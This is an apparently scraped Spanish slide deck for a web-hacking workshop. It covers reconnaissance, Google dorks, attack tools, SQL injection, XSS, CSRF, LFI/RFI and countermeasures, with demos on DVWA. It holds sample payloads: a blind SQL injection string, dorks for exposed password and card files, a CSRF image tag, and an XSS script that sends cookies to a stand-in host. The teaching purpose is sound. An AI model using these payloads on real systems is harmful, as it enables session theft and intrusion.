taller&de&hacking&web& - cybercamp.es · –...

101
Taller de Hacking Web

Upload: phungque

Post on 01-Oct-2018

218 views

Category:

Documents


0 download

TRANSCRIPT

Taller  de  Hacking  Web  

¿Quién  soy  yo?  

•  Soy  experto  en  seguridad  informá?ca  desarrollando  en  los  úl?mos  4  años  mi  labor  como  pentester  en  diferentes  proyectos  de  hacking  é?co  para  grandes  empresas  e  ins?tuciones,  colaborador  del  programa  Mundo  Hacker,  escritor  de  diferentes  libros  relacionados  con  la  seguridad  informá?ca  y  el  hacking  é?co,  formador  de  los  cuerpos  y  seguridad  del  gobierno  Español  y  sobre  todo  apasionado  por  la  seguridad  informá?ca  y  sus  aplicaciones  en  el  mundo  actual.    

Introducción  

•  ¿Qué  son  los  ataques  a  las  aplicaciones  web?  –  Consiste  en  introducir  código  del  lado  front-­‐end    o  back-­‐end,  con  el  fin  

de  comprometer  la  aplicación.  

•  ¿Qué  ?po  de  repercusión  pueden  llegar  a  tener?  –  Dependiendo  del  ?po  de  ataque  realizado,  es  posible  causar  mayor  o  

menor  grado  de  repercusión.  

•  ¿Y  donde  queda  la  seguridad?  –  La  seguridad  la  ?ene  que  a  portar  el  desarrollador.  

•  ¿Existen  medidas  que  automa?zan  la  seguridad?  –  A  día  de  hoy  hay  diferentes  productos  que  protejen  las  aplicaciones  

web.  

Ciberataques  

•  Son  todos  aquellos  ataques  que  se  realizan  contra  sistemas  informá?cos  cuya  finalidad  puede  ser  los  siguientes  puntos:  –  Tomar  el  control  del  sistema.    –  Denegación  del  servicio.    –  U?lizar  el  sistema  infectado  como  pasarela  para  realizar  ataques.  –  Robo  de  credenciales.  –  Espionaje.  –  Destrucción  del  sistema  informá?co.  

Ciberataques  

•  Mapas  web  donde  se  pueden  visualizar  ataques  en  el  pasado  y  en  el  presente:  –  hZp://globe.cyberfeed.net/  –  hZp://atlas.arbor.net/worldmap/index  –  hZp://cybermap.kaspersky.com/  –  hZp://sicherheitstacho.eu/  –  hZp://map.ipviking.com/  –  hZp://www.akamai.com/html/technology/dataviz1.html  –  hZp://globe.f-­‐secure.com/  –  hZp://www.team-­‐cymru.org/Monitoring/Malevolence/maps.html  –  hZp://www.digitalaZackmap.com/  –  hZp://www.shadowserver.org/wiki/pmwiki.php/Stats/DDoSMaps  –  hZp://map.honeycloud.net/      

Ciberataques  

•  Estadís?ca  de  ataques  web  por  la  empresa  WhiteHat  Security.  

Ciberseguridad  

•  El  gráfico  siguiente  con?ene  gran  parte  de  las  organizaciones  que  han  sido  víc?mas  de  ataques  web:  

Vic$mas  

Gobiernos  20%  

Finanzas  10%  

Venta  al  por  Menor  5%  

Entretenimiento  5%  

Polí?co  20%  

Poveedor  de  Servicio  10%  

Educación  5%  

Hospitales  5%  

Servicios  de  Información  10%  

Hos?ng  10%  

Ciberseguridad  

•  A  con?nuación  se  listan  las  posibles  repercusiones  que  podría  hacer  contra  la  organización  (empresa  o  ins?tución  pública):  –  Robo  de  Información  y  a  demás  venta  de  información  confidencial  a  la  

competencia.  –  Manipulación  malintencionado  con  el  perfil  de  un  usuario  de  la  

organización.  –  Espionaje.  –  Defacement  de  la  aplicación  web.  –  Denegación  de  Servicio  contra  la  base  de  datos.  –  Denegación  de  Servicio  contra  el  servidor  web.  –  Acceso  completo  al  servidor  de  la  organización  mediante  la  aplicación  

web.  –  Crear  un  RootServer  una  vez  está  comprome?do  el  servidor.  

Dinero  

Diferencia  entre    Pentester  y  Cibercriminal  

•  A  par?r  de  aquí  podemos  diferenciar  entre  un  cibercriminal  y  un  pentester.  

•  Auditor  o  pentester:  buscara  los  agujeros  de  seguridad  con  el    fin  de  proteger.  

•  Cibercriminal:  buscara  también  los  agujeros  pero  con  fines  destruc?vos.  

Etapas  de  un  ataque  web  

•  Reconocimiento:  consiste  en  obtener  información  publica  mediante  medios  pasivos  o  medios  ac?vos:  –  Medios  Pasivos:  hacking  con  buscadores,  herramientas  de  indagación  

en  redes  sociales,  análisis  de  metadatos,  herramientas  de  ges?ón  de  red,  etc.  

–  Medios  Ac?vos:  mediante  técnicas  de  ingeniería  social  aplicadas  a  las  personas  que  ges?onen  la  aplicación  web  o  puedan  tener  algún  ?po  de  contacto  con  la  misma.  

•  Enumeración:  consiste  en  escanear  la  red  obje?vo  para  obtener  la  mayor  información  posible  sobre  toda  la  arquitectura.  

Etapas  de  un  ataque  web  

•  Análisis:  consiste  en  buscar  todas  las  posibles  vulnerabilidades  en  los  disposi?vos  encontrados  en  las  fases  anteriores.  

•  Explotación:  consiste  en  explotar  las  vulnerabilidades  encontradas  en  la  etapa  anterior,  con  el  obje?vo  de  poder  perpetrar  y  eliminar  falsos  posi?vos.  

 

Etapas  de  un  ataque  

•  Desde  el  punto  de  vista  del  pentester:  –  Documentación:  etapa  final  del  proceso  de  pentes?ng  donde  se  

describe  el  pentest  realizado  en  un  documento  de  cara  a  que  luego  pueda  volverse  a    reproducir.  

•  Desde  el  punto  de  vista  del  cibercriminal:  –  Borrado  de  huellas:  eliminación  de  cualquier  ?po  de  rastro  que  

hubiera  podido  dejar  en  el  sistema.    

El  empiece  de  un  atacante  

•  Los  ataques  a  las  aplicaciones  web,  empiezan  primero  aplicando  técnicas  de  fingerprin?ng  y  footprin?ng.  

 

Recabar  Información  

•  Fingerprin?ng:  todas  aquellas  técnicas  que  nos  permitan  obtener  información  sobre  el  ?po  de  sistema,  los  servicios  que  corren,  la  versión  de  los  servicios  etc.  

•  Footprin?ng:  toda  aquella  información  que  aparece  de  forma  pública.  

Nmap  

•  Nmap  es  la  herramienta  por  excelencia  u?lizada  por  todo  el  mundo  que  quiera  recabar  información  sobre  que  con?ene  el  sistema.  

•  No  solo  permite  iden?ficar  puertos  y  servicios.  •  Dispone  de  una  gran  variedad  de  scripts  de  los  cuales  algunos  

de  ellos  ?enen  repercusión  contra  las  aplicaciones  web  

Scripts  Nmap  

NETCAT  

•  Herramienta  u?lizada  con  diferentes  propósitos,  uno  de  ellos  es  la  u?lización  de  la  técnica  “Banner  Grabing”.  

•  Banner  Grabing  consiste  en  obtener  la  versión  de  las  aplicaciones.  

•  El  obje?vo  de  netcat  contra  las  aplicaciones  web  es  obtener  la  e?queta  server  que  es  donde  se  almacena  información.  

Resultado  NETCAT    

HTTPrint  

•  Herramienta  que  automa?za  las  técnicas  de  fingerprin?ng,  permite  iden?ficar  el  ?po  de  servidor  web,  la  tecnología  u?lizad  incluso  cuando  hay  un  WAF  de  por  medio.  

Hacking  con  buscadores  

•  La  u?lización  de  los  buscadores  es  otra  forma  pasiva  para  recopilar  información.  

•  Es  posible  encontrar  información  de  carácter  muy  importante  para  las  aplicaciones  web,  haciendo  simplemente  uso  de  los  buscadores  como  google,  bing  etc.    

•  Mediante  el  uso  de  determinadas  expresiones  dentro  del  buscador  podemos  u?lizando  la  araña  de  google  por  ejemplo,  encontrar  ficheros  de  tarjetas  de  crédito.  

Operadores  u?lizados    en  google  hacking  

•  Site:  restringe  la  búsqueda  solo  a  la  página  o  dominio.  •  In?tle:  busca  la  cadena  introducida  en  los  ltulos  de  las  

páginas.  •  Inurl:  busca  por  páginas  que  contengan  en  la  url  la  cadena  

introducida.  •  Intext:  la  cadena  de  texto  introducida  deberá  aparecer  en  el  

interior  de  las  páginas.  •  Filetype:  acota  la  búsqueda  a  las  páginas  que  contengan  la  

extensión  puesta  como  cadena  en  el  filetype.  

Ejemplos  de  google  hacking    

•  Inurl:ws_np.ini”[“WS_FTP]”  filetype.ini  •  Inurl:midicart.mdb  •  ext:cgi  inurl:cgi-­‐bin  intext:#!/bin/bash  •  Inurl:admin.php  •  Filetype:sql  •  in?tle:”index  of”  “Index  of  /”  password.txt  •  Filetype:inc  intext:mysql_connect  password  –please  –could  –

port  

Herramientas  google  Hacking    

•  Google  Hacks.  •  Search  Diggity.  •  Goodork.  •  SQLmap  

Búsqueda  de  Vulnerabilidades  

•  Existen  herramientas  que  permiten  automa?zar  la  búsqueda  de  vulnerabilidades  a  la  hora  de  realizar  un  hacking  web.  

•  Algunas  de  las  herramientas:  –  Arachni.  –  Acune?x.  –  BurpSuite.  –  AppScan.  –  Nessus.  –  W3af.  –  Grabber.  –  Vega.  –  Skipfish.  

Explotación  de  la  vulnerabilidad    

•  Herramientas  u?lizadas  para  explotar  las  vulnerabilidades  encontradas:  –  Sqlmap.  –  Havij.  –  SqlNinja.  –  SQLBrute  –  BSQL  Hacker.  –  Absinthe.  –  Metasploit.  –  DarkMYSQLI.  

Entendiendo  los  vectores  

•  Existen  diferentes  formas  para  llegar  a  tener  el    vector  de  ataque:  –  Auditoría  de  caja  blanca:  disponemos  de  bastante  información  del  

entorno  por  lo  que  a  la  hora  de  fijar  el  vector  viene  prác?camente  acotado.  

–  Auditoría  de  caja  negra:  hay  veces  que  se  dispone  de  más  información  y  otras  veces  que  menos,  pero  de  igual  manera  es  más  trabajoso  encontrar  los  vectores  de  ataque.  

–  Auditoría  de  caja  gris:  es  una  mezcla  entre  caja  blanca  y  caja  negra.  

•  Desde  el  punto  de  vista  del  cibercrimen  puede  haber  un  obje?vo  fijado  o  bien  simplemente  un  juego  de  azar.    

Obje?vos  de  un  ataque  web  

•  Evadir  las  medidas  de  seguridad  existentes  para  conseguir  extraer  información  de  carácter  sensible.  

•  Provocar  un  ataque  de  denegación  se  servicio  que  impida  el  acceso  a  la  aplicación  web.  

•  Probar  a  desarrollar  nuevos  agujeros  de  seguridad  conocidos  como  0  days  que  permitan  explotar  la  aplicación  web.  

Metodologías  Hacking  Web  

•  OWASP:  Es  una  organización  sin  ánimo  de  lucro  orientada  a  desarrollar  proyectos  de  código  abierto  para  mejorar  la  seguridad  informá?ca.  

•  NIST:  Se  trata  del  Na?onal  Ins?tute  Of  Standards  and  Technology  perteneciente  al  Departamento  de  Comercio  de  los  Estados  Unidos.  

•  OSSTMM:    Se  corresponde  con  una  metodología  abierta  desarrollada  por  ISECOM,  en  la  que  se  indican  las  pautas  para  comprobar  la  seguridad  informá?ca.  

Más  información  de  Ataques  

•  En  la  página  de  owasp  podemos  ver  de  forma  categorizada  cada  vulnerabilidad  que  se  puede  aplicar  en  aplicaciones  web:    hZps://www.owasp.org/index.php/Category:AZack  

Top  10  de  Vulnerabilidades  OWASP  

Tipos  de  Ataques    

•  SQL  Injec?on.  •  Blind  Sql  Injec?on  •  XSS  Reflected.  •  XSS  Stored.  •  CSRF.  •  Brute  Force  •  LFI/RFI.  •  Command  Execu?on  •  File  Upload  

Otras  Vulnerabilidades  Web  

•  Xml  Injec?on.  •  Denial  of  Service.  •  Ajax  Injec?on.  •  Xpath  Injec?on.  •  Buffer  Overflow.  •  Path  Traversal  •  LDAP  Injec?on.  •  Reflected  DOM  Injec?on.  •  Cross  Site  Tracing.  •  Session  Fixa?on.  

 

SQL  Injec?on  

•  SQL  Injec?on  –   Fallo  de  inyección.  –   Falta  de  validación  de  entradas.  

•  Permite  modificar  las  consultas  SQL.  •  Extracción  de  información.  

SQL  Injec?on  

•  Ejemplo  sin  sql  injec?on:  h*p://example.com/news.php?id=23  <?php  //...  $id  =  $_GET['id'];  $query  =  “SELECT  *  FROM  news  WHERE  id=$id”;  //...  ?>  SELECT  *  FROM  news  WHERE  id=23  

SQL  Injec?on  

•  Ejemplo  con  Sql  Injec$on    

h*p://example.com/news.php?id=23  and1=0 <?php  //...  $id  =  $_GET['id'];  $query  =  “SELECT  *  FROM  news  WHERE  id=$id”;  

//...  ?>  SELECT  *  FROM  news  WHERE  id=23  and  1=0

SQL  Injec?on  

Diferencia  entre  sql  injec?on    y  blind  sql  Injec?on  

Diferencia  entre  sql  injec?on    y  blind  sql  Injec?on  

•  No  muestra  información            de  la  base  de  datos  en  el            navegador.  •  Se  necesita  “booleanizar”            la  información.  •  Extracción  de  datos  más            lenta.  

Ejemplo  Blind  Sql  Injec?on  

Selecciona  al  menos  un  registro  de  la  tabla  “usuarios”.  

No  selecciona  ningún  registro  de  la  tabla  “usuarios”.  

Ejemplo  Blind  Sql  Injec?on  

¿1 = 1?

¿1 = 0?

“Booleanización”  

•  Representar  la  información  de            forma  binaria.  

•  Extraer  un  bit  de  información  en  cada  consulta.  

Búsqueda  Binaria  

•  Buscar  un  valor  en  un            arreglo  ordenado.    •   Reduce  la  complejidad  a  la  

 mitad  en  cada  iteración.  

•   Muy  eficiente.  

Algoritmo  de  Búsqueda  Binaria  

Por  ejemplo:  

?user=admin'  AND  ASCII(MID(USER(),1,1))>128%23    ASCII(  'r'  )  -­‐-­‐>  114  

         AND  114  >  128  -­‐-­‐>  FALSO    ?user=admin'  AND  ASCII(MID(USER(),1,1))>64%23    ASCII(  'r'  )  -­‐-­‐>  114    AND  114  >  64  -­‐-­‐>  VERDADERO  

...    

SQL  Injec?on  

SQL  Injec?on  

•  hZp://www.sqlinjec?onwiki.com/    

SQL  Injec?on  

•  Demo  SQL  Injec?on  en  DVWA:    

XSS  

•  Su nombre original es "Cross Site Scripting", y es abreviado como XSS para no ser confundido con las siglas CSS, (hojas de estilo en cascada).

•  Las vulnerabilidades de XSS originalmente abarcaban cualquier ataque que permitiera ejecutar código de "scripting", como VBScript o JavaScript, en el contexto de otro sitio web.

XSS  

•  Las fallas XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada.

•  XSS permite a los atacantes ejecutar secuencia de

comandos en el navegador de la victima los cuales pueden secuestrar las sesiones de usuario, destruir sitios web, o dirigir al usuario hacia un sitio malicioso.

XSS  REFLECTED  

•  Los ataques reflejados son aquellos donde el código inyectado es reflejado fuera del servidor, tal como en un mensaje de error, el resultado de una búsqueda o cualquier otra respuesta que incluya una parte de la entrada enviada al servidor como parte de una solicitud.  

XSS  REFLECTED  

XSS  STORED  

•  Los ataques almacenados son aquellos en los que el código inyectado reside permanentemente en los servidores que lo envían, ya sea en la base de datos, en un mensaje de un foro, en un log de un visitante, campo de comentario, etc. La víctima descarga el script malicioso del servidor cuando hace alguna solicitud de contenido

 

XSS  STORED  

Ejemplo  XSS  

•  Considere  el  siguiente  formulario:  <form  ac?on="/registrar.php"  method="post">  <p>Nombre  de  usuario:    <input  type="text"  name="reg_usuario"  /></p>  <p>Email:    <input  type="text"  name="reg_email"  /></p>  <p><input  type="submit"  value="Registrar"  />  </form>  

Ejemplo  XSS  

•  Ahora  considere  el  siguiente  script  de  inserción  de  los  datos:  if  (!get_magic_quotes_gpc())  {    $_POST['reg_usuario']  =  addslashes($_POST['reg_usuario']);    $_POST['reg_email']  =  addslashes($_POST['reg_email']);  

}  $sql  =  "insert  into  users  (username,  email)  values  ('{$_POST['reg_usuario  

']}',  '{$_POST['reg_email']}')";  

 

Ejemplo  XSS  

•  Imagine  el  siguiente  nombre  de  usuario:  <script>alert('¡Oh  no!');</script>  

•  Se  puede  determinar  fácilmente  que  el  código  anterior  no  es  nombre  de  usuario  válido,  lo  cual  demuestra  que  el  código  que  escribimos  no  es  siempre  prudente.  

•  Por  supuesto,  el  peligro  de  XSS  reside  en  el  efecto  producido  cuando  los  datos  son  reenviados  a  otros  u?lizadores.  

 

Ejemplo  XSS  

•  Despligue  por  un  administrador:  <table>      <tr>          <th>Usuario</th>          <th>Email</th>      </tr>  <?php  if  ($_SESSION['admin'])  {      $sql  =  'select  username,email  from  users';      $result  =  mysql_query($sql);      while  ($user  =  mysql_fetch_assoc($result))  {          echo  "\t<tr>\n";          echo  "\t\t<td>{$user['username']}</td>\n";          echo  "\t\t<td>{$user['email']}</td>\n";          echo  "\t</tr>\n";      }  }  ?>  </table>  

 

Ejemplo  XSS  

•  En  el  ejemplo  anterior  si  los  datos  no  son  validados  antes  de  ser  guardados,  el  administrador  podrá  ser  sujeto  de  un  ataque  XSS.  

Ejemplo  XSS  

•  El  riesgo  es  aún  más  evidente  con  algún  ataque  más  vicioso  como  el  siguiente:  <script>      document.loca?on  =  'hZp://maligno.ejemplo.org/roba_cookies.php?

cookies='  +  document.cookie  </script>  

•  En  este  ejemplo,  el  script  distante  roba_cookies.php  puede  acceder  a  los  cookies  con  la  variable  $_GET['cookies'].    Un  vez  capturados  los  cookies  pueden  ser  u?lizados  para  lanzar  ataques  de  usurpación  de  iden?dad,  obtener  datos  sensibles,  etc.  

 

XSS  

•  Demo  XSS  en  DVWA:  

CSRF  

•  Este  ?po  de  ataques  en  lugar  de  explotar  la  confianza  del  usuario  explotan  la  confianza  que  hace  el  si?o  web  a  sus  usuarios.  

•  CSRF  implica  la  simulación  de  solicitudes  HTTP,  por  lo  cual  es  muy  importante  entender  las  solicitudes  HTTP.  

 

CSRF  

•  Considere  un  foro  hipoté?co  en  hZp://foro.ejemplo.org/  que  u?liza  el  siguiente  formulario:  <form  ac?on="/add_post.php">  <p>Asunto:    <input  type="text"  name="post_subject"  /></p>  <p>Mensaje:    <textarea  name="post_message"></textarea></p>  

<p><input  type="submit"  value="Enviar"  /></p>  </form>  

 

CSRF  

•  Dado  que  en  el  código  anterior  no  se  indicó  POST  una  solicitud  GET  es  enviada:  GET  /add_post.php?post_subject=foo&post_message=bar  HTTP/1.1  

HOST:    foro.ejemplo.org  Cookie:    PHPSESSID=123456789  

 

CSRF  

•  Considere  la  e?queta  <img>  siguiente:  <img  src="hZp://foro.ejemplo.org/add_post.php?

post_subject=foo&post_message=bar”  />  

•  Cuando  un  navegador  pida  esta  imagen  va  a  enviar  exactamente  la  misma  solicitud  de  la  filmina  anterior.    La  víc?ma  va  a  enviar  un  mensaje  en  el  foro  y  sin  darse  cuenta.  

 

CSRF  

•  Demo  CSRF  en  DVWA:  

Brute  Force  

•  Un  ataque  de  fuerza  bruta  es  un  método  que  se  usa  para  adivinar  las  credenciales  del  sistema  mediante  la  automa?zación  de  la  prueba  de  credenciales.  

•  Este  ataque  es  conocido  como  cracking  online  debido  a  que  ataca  a  un  servicio  cuya  arquitectura  es  Cliente/Servidor.  

•  Llevado  al  ámbito  del  hacking  web  este  ataque  repercu?rá  en  todas  la  aplicaciones  donde  exista  un  panel  de  login.  

•  El  Obje?vo  de  este  ataque  es  sacar  las  credenciales  de  la  plataforma.  

 

Brute  Force  

•  Demo  Brute  Force  en  DVWA:  

LFI  

•  Es utilizada en sitios que permiten el enlace de archivos locales, debido a una mala verificación en la programación de la página, que contiene las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().  

•  Solo existe en páginas dinámicas desarrolladas en PHP.    

LFI  

•  Demo  LFI  en  DVWA:  

RFI  

•  Es utilizada en sitios que permiten el enlace de archivos remotos, debido a una mala verificación en la programación de la página, que contiene las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().  

•  Solo existe en páginas dinámicas desarrolladas en PHP.  

 

RFI  

•  Demo  RFI  en  DVWA:  

Command  Execu?on  

•  Permite  la  ejecución  de  determinados  comandos  en  el  sistema.  

•  Esta  vulnerabilidad  permi?rá  modificar,  eliminar  archivos  y  directorios  del  servidor,  las  posibilidades  son  infinitas,  su  única  limitación  es  el  usuario  que  usa  la  consola  para  ejecutar  los  comandos,  así  dependería  de  los  permisos  de  ese  usuario  para  realizar  ciertas  acciones.  

Command  Execu?on  

•  Demo  Command  Execu?on  en  DVWA:  

File  Upload  

•  Consiste  en  subir  al  sistema  un  fichero  malicioso  ya  sea  sin  aplicar  ninguna  técnica  de  camuflamiento  o  bien  camuflando  el  malware  dentro  de  uno  los  ficheros  considerados  por  el  sistema  como  aceptable.  

•  Algunas  técnicas  aplicadas  para  camuflar  el  malware  son:  –  Null  Byte.  –  Introducción  a  través  de  metadatos.  –  Modificación  de  las  cabeceras  del  fichero.  –  Modificación  de  la  Extensión.  

File  Upload  

•  Demo  File  Upload  en  DVWA:    

Medidas  de  Protección    Contra  Sql  Injec?on  

•  Expresiones  regulares.  •  Validación  de  ?po.  •  Escapar  caracteres  

 Especiales.  •  Librerías  de  seguridad.  •  ESAPI.  •  No  solo  JavaScript.  

Medidas  de  Protección    Contra  Sql  Injec?on  

•  Consultas  Parametrizadas:  •  Definir  primero  la  

 consulta  y  luego  pasarle    los  parámetros.  

•   Prepared  Statements.  •   Storage  Procedures    

Medidas  de  Protección    Contra  Sql  Injec?on  

•   Permisos  de  Acceso:    Las  aplicaciones  no    necesitan  la  cuenta  de    Administrador.  

•   GRANT  ALL  PRIV...    ¿Es  Necesario?  

•   Aplicaciones    diferentes,  usuarios    diferentes  

 

Medidas  de  Protección  contra  XSS  

•  XSS:  –  HTMLfilter  es  un  proyecto  para  PHP  que  analiza  todos  los  datos  HTTP  

antes  de  ser  u?lizados.  

•  Filtrar  todos  los  datos  foráneos.  •  U?lizar  la  funcionalidad  existente:    htmlen??es(),  strip_tags,  

u�8_decode(),  etc.  pueden  ayudar  a  escribir  la  lógica  de  filtrado.  

•  Solamente  autorizar  un  contenido  validado.  •  U?lizar  una  convención  de  nombres  descrip?va.  

Medidas  de  Protección  contra  CSRF  

•  U?lizar  el  método  POST  en  los  formularios.  •  U?lizar  el  arreglo  $_POST  en  lugar  de  las  variables  creadas  

gracias  a  register_globals.  •  No  simplificar  las  acciones  importantes.  •  Obligar  al  usuario  a  u?lizar  nuestros  formularios  HTML.    

Medidas  de  Protección  contra  CSRF  

•  Un    ejemplo  de  técnica  para  obligar  al  usuario  a  u?lizar  nuestros  propios  formularios  es  la  siguiente:  <?php      $token  =  md5(?me());      $_SESSION['token']  =  $token;      $_SESSION['token_?mestamp']    =  ?me();  ?>  <form  ac?on="/add_post.php">  <input  type="hidden"  name="token"  value="<?php  echo  $token;  ?>"  />  <p>Asunto:    <input  type="text"  name="post_subject"  /></p>  <p>Mensaje:    <textarea  name="post_message"></textarea></p>  <p><input  type="submit"  value="Enviar"  /></p>  </form>  

 

Medidas  de  Protección    contra  Brute  Force  

•  U?lización  de  captchas.  •  Medidas  de  baneo  llegado  a  los  x  intentos  de  error.  •  U?lización  de  contraseñas  robustas.  •  U?lización  de  herramientas  que  permiten  proteger  a  los  

paneles  web  frente  a  estos  ataques,  por  ejemplo    la  herramienta  cPHULK  Brute  Force  Protec?on.  

Medidas  de  Protección  contra  LFI  

•  Como contramedida podemos recomendar los siguientes items:  

•  Filtrar todos los parámetros que un usuario de la página pueda manejar.  

•  Asegurarse de que no se pueda acceder a archivos más allá del "Document Root" de la página.  

•  Procesamiento correcto del parámetro y de la función que se dedique a recuperar el contenido del fichero que necesitemos.  

 

Medidas  de  Protección  contra  RFI  

•  Como contramedida podemos recomendar los siguientes items:  

•  Filtrar todos los parámetros que un usuario de la página pueda manejar.  

•  Procesamiento correcto del parámetro y de la función que se dedique a recuperar el contenido del fichero que necesitemos.  

•  Si es posible setear la variable de PHP “allow_url_fopen” en off  

 

Medidas  de  Protección    contra  Command  Execu?on  

•  No  permi?r  la  inserción  de  comandos  como  &&  o  ||.  •  Filtrar  el  campo  de  tal  manera  que  solo  permita  la  

introducción  del  comando  esperado.  •  Aplicar  comprobaciones  sobre  el  campo,  determinando  el  

?po  de  datos  que  se  le  pasarán  a  los  parámetros  que  recibe  el  comando.  

Otras  Medidas  de  Protección  

•   Sistemas  de  detección  y    prevención  de  intrusos.    (Snort,  PHPIDS)  

•   Web  Applica?on  Firewall.    (mod_security)  

•  Reescritura  de  solicitudes    HTTP.  (mod_rewrite)  

•   Basados  en  patrones.    No  100%  confiables.  

 

Entornos  de  Explotación  

•  Existen  diferentes  entornos  de  explotación  web,  a  con?nuación  se  listan  algunos  de  ellos:  –  DVWA.  –  NOWASP  Mu?llidae.  –  SQLI-­‐LABS.  –  Metasploitable.  –  WebGoat.  –  bWAPP.  –  PentesterLab.  

Taller  de  Hacking  

•  Tecnologías  u?lizadas:  –  Programación  del  lado  Cliente:  JavaScript.  –  Programación  del  lado  Servidor:  PHPy  JSP.  –  Sistema  gestor  de  base  de  datos:  MongoDB  y  Sql  Server.  

•  Ataques  que  se  realizarán:  –  Blind  NoSQL  Injec?on  del  ?po  boolean.  –  hZp  Parameter  Pollu?on.  –  Blind  Sql  Injec?on  ?me  based.  –  Hooking  XSS  Stored.  

¿Qué  es  MongoDB?  

•  MongoDB  es  un  sistema  de  bases  de  datos  NoSQL  orientada  a  documentos,  desarrollado  bajo  el  concepto  de  código  abierto.  

•  En  lugar  de  guardar  los  datos  en  tablas  como  se  hace  en  las  bases  de  datos  relacionales,  MongoDB  guarda  estructuras  de  datos  en  documentos  ?po  JSON  con  un  esquema  dinámico.  

•  No  cumple  con  el  esquema  en?dad-­‐relación.  •  No  impone  una  estructura  de  datos.  

CRUD  

•  Create  –  db.collec?on.insert(  <document>  )    –  db.collec?on.save(  <document>  )    –  db.collec?on.update(  <query>,  <update>,  {  upsert:  true  }  )    

•  Read  –  db.collec?on.find(  <query>,  <projec?on>  )  –  db.collec?on.findOne(  <query>,  <projec?on>  )    

•  Update  –  db.collec?on.update(  <query>,  <update>,  <op?ons>  )    

•  Delete  –  db.collec?on.remove(  <query>,  <justOne>  )    

NoSql  

¿Por  qué  surge?  

•  Poca  eficiencia  en  aplicaciones  en  las  BD  relacionales.  •  Aumento  de  operaciones  de  lectura  y  escritura.  •  Gran  conjunto  de  transacciones.  •  Sentencias  complejas.  •  Dificultades  en  las  escalabilidad  del  sistema.    

Caracterís?cas  NoSQL  

•  Consistencia  Eventual.  •  Ausencia  de  esquema  en  los  registros  de  datos.  •  Alta  velocidad  de  respuesta  a  pe?ciones.  •  Estructura  distribuida.  •  Escalabilidad  horizontal.  

Sistemas  en  Producción    que  usan  MongoDB  

Web  Services  

•  Tecnología  u?lizada  para  intercambiar  datos  entre  aplicaciones.  

•  Dis?ntas  aplicaciones  y  entornos  puede  hacer  uso  de  los  web  services  para  intercambiar  información  y  procesarla.  

•  SOAP:  –  Protocolo  sobre  el  que  se  estable  el  intercambio.  

•  WSDL:    –  Es  el  lenguaje  de  la  interfaz  pública  para  los  servicios  Web.  Es  una  

descripción  basada  en  XML  de  los  requisitos  funcionales  necesarios  para  establecer  una  comunicación  con  los  servicios  Web.  

HTTP  Parameter  Pollu?on  

•  Los  ataques  de  polucción  de  parámetros  HTTP  consisten  en  la  inyección  de  delimitadores  query  string  codificados  en  otros  parámetros  existentes.  

•  Si  el  parámetro  en  el  que  se  ha  realizado  la  inyección  no  es  valida  correctamente  y  se  u?liza  decodificado  para  generar  una  URL,  el  atacante  puede  insertar  uno  o  más  parámetros  en  dicha  URL.  

•  Las  consecuencias  de  este  ataque  dependen  de  la  lógica  de  la  aplicación  y  pueden  tener  desde  un  leve  impacto  hasta  una  gran  importancia.  

HTTP  Parameter  Pollu?on  

•  Dependiendo  del  lenguaje  del  servidor  si  se  aplica  el  ataque  HPP  se  cogerá  el  primero,  el  segundo  o  ambos  parámetros  repe?dos.  

Beef  

•  Herramienta  desarrollada  en  JavaScript  es  open-­‐source.  •  Permite  mediante  JavaScript  infectar  los  navegadores  y  

u?lizando  una  gran  variedad  de  scripts  ejecutar  diferentes  ataques  en  función  del  ?po  de  navegador  que  se  haya  infectado.  

•  Beef  es  una  librería  de  JavaScript  como  por  ejemplo  la  librería  jQuery,  que  se  incluye  en  una  página  y  esta  se  distribuye  para  infectar  los  navegadores.  

Taller  de  Hacking  

Taller  Hacking  web